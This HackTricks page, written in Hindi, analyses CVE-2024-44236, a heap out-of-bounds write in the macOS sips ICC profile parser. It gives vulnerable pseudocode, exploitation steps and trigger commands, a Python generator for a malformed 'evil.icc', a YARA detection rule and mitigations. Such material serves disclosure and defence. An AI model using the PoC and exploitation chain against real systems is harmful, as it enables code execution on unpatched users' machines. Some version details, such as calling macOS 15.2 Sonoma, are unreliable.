WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Overview
Apple macOS Scriptable Image Processing System (sips
) ICC प्रोफ़ाइल पार्सर (macOS 15.0.1, sips-307
) में एक आउट-ऑफ-बाउंड्स zero-write भेद्यता एक हमलावर को हीप मेटाडेटा को भ्रष्ट करने और प्राइमिटिव को पूर्ण कोड-एक्ज़ेक्यूशन में बदलने की अनुमति देती है। बग lutAToBType
(mAB
) और lutBToAType
(mBA
) टैग के offsetToCLUT
फ़ील्ड के हैंडलिंग में स्थित है। यदि हमलावर offsetToCLUT == tagDataSize
सेट करते हैं, तो पार्सर हीप बफर के अंत के 16 बाइट्स को मिटा देता है। हीप स्प्रेइंग हमलावर को आवंटक संरचनाओं या C++ पॉइंटर्स को ज़ीरो-आउट करने की अनुमति देती है, जिन्हें बाद में डेरिफ़रेंस किया जाएगा, जिससे एक arbitrary-write-to-exec चेन (CVE-2024-44236, CVSS 7.8) उत्पन्न होती है।
Apple ने macOS Sonoma 15.2 / Ventura 14.7.1 (30 अक्टूबर, 2024) में बग को पैच किया। एक दूसरा वेरिएंट (CVE-2025-24185) को 1 अप्रैल, 2025 को macOS 15.5 और iOS/iPadOS 18.5 में ठीक किया गया।
Vulnerable Code
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
Exploitation Steps
- एक दुर्भावनापूर्ण
.icc
प्रोफ़ाइल तैयार करें
- एक न्यूनतम ICC हेडर (
acsp
) सेट करें और एकmAB
(याmBA
) टैग जोड़ें। - टैग तालिका को इस तरह कॉन्फ़िगर करें कि
offsetToCLUT
टैग आकार के बराबर हो (tagDataSize
)। - हमलावर-नियंत्रित डेटा को टैग के ठीक बाद रखें ताकि 16 शून्य लेखन आवंटक मेटाडेटा के साथ ओवरलैप हो जाएं।
- प्रोफ़ाइल को छूने वाले किसी भी sips ऑपरेशन के साथ पार्सिंग को ट्रिगर करें
# सत्यापन पथ (आउटपुट फ़ाइल की आवश्यकता नहीं)
sips --verifyColor evil.icc
# या जब प्रोफ़ाइल को एम्बेड करने वाली छवियों को परिवर्तित करते समय अप्रत्यक्ष रूप से
sips -s format png payload.jpg --out out.png
- हीप मेटाडेटा भ्रष्टाचार ➜ मनमाना लेखन ➜ ROP
Apple के डिफ़ॉल्ट
nano_zone
आवंटक पर, 16-बाइट स्लॉट के लिए मेटाडेटा सही तरीके से संरेखित 0x1000 स्लैब के तुरंत बाद रहता है। ऐसे स्लैब के अंत में प्रोफ़ाइल का टैग रखकर, 16 शून्य-लेखनmeta->slot_B
को क्लॉबर कर देते हैं। एक बाद केfree
के बाद, विषाक्त पॉइंटर को छोटे मुक्त सूची में कतारबद्ध किया जाता है, जिससे हमलावर को किसी भी पते पर एक नकली ऑब्जेक्ट आवंटित करने और sips द्वारा उपयोग किए जाने वाले C++ vtable पॉइंटर को ओवरराइट करने की अनुमति मिलती है, अंततः निष्पादन को दुर्भावनापूर्ण ICC बफर में संग्रहीत ROP श्रृंखला पर पिवट करते हैं।
त्वरित PoC जनरेटर (Python 3)
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
YARA पहचान नियम
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
प्रभाव
एक तैयार ICC प्रोफ़ाइल को खोलने या संसाधित करने से दूरस्थ मनमाना कोड निष्पादन होता है जो उपयोगकर्ता के संदर्भ में होता है (पूर्वावलोकन, क्विकलुक, सफारी छवि रेंडरिंग, मेल अटैचमेंट, आदि), गेटकीपर को बायपास करते हुए क्योंकि प्रोफ़ाइल को अन्यथा निर्दोष छवियों (PNG/JPEG/TIFF) के अंदर एम्बेड किया जा सकता है।
पहचान और शमन
- पैच करें! सुनिश्चित करें कि होस्ट macOS ≥ 15.2 / 14.7.1 (या iOS/iPadOS ≥ 18.1) चला रहा है।
- ईमेल गेटवे और EDR समाधानों पर ऊपर दिए गए YARA नियम को लागू करें।
- अविश्वसनीय फ़ाइलों पर आगे की प्रक्रिया से पहले
exiftool -icc_profile= -overwrite_original <file>
के साथ एम्बेडेड ICC प्रोफ़ाइल को स्ट्रिप या सैनीटाइज करें। - अज्ञात सामग्री का विश्लेषण करते समय पूर्वावलोकन/क्विकलुक को "पारदर्शिता और आधुनिकीकरण" VMs के अंदर सैंडबॉक्स में चलाकर मजबूत करें।
- DFIR के लिए, एकीकृत लॉग में सैंडबॉक्स ऐप्स द्वारा
sips --verifyColor
याColorSync
पुस्तकालय लोड के हाल के निष्पादन की तलाश करें।
संदर्भ
- Trend Micro Zero Day Initiative सलाह ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
- Apple सुरक्षा अपडेट HT213981 “macOS Sonoma 15.2 की सुरक्षा सामग्री के बारे में” https://support.apple.com/en-us/HT213981
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।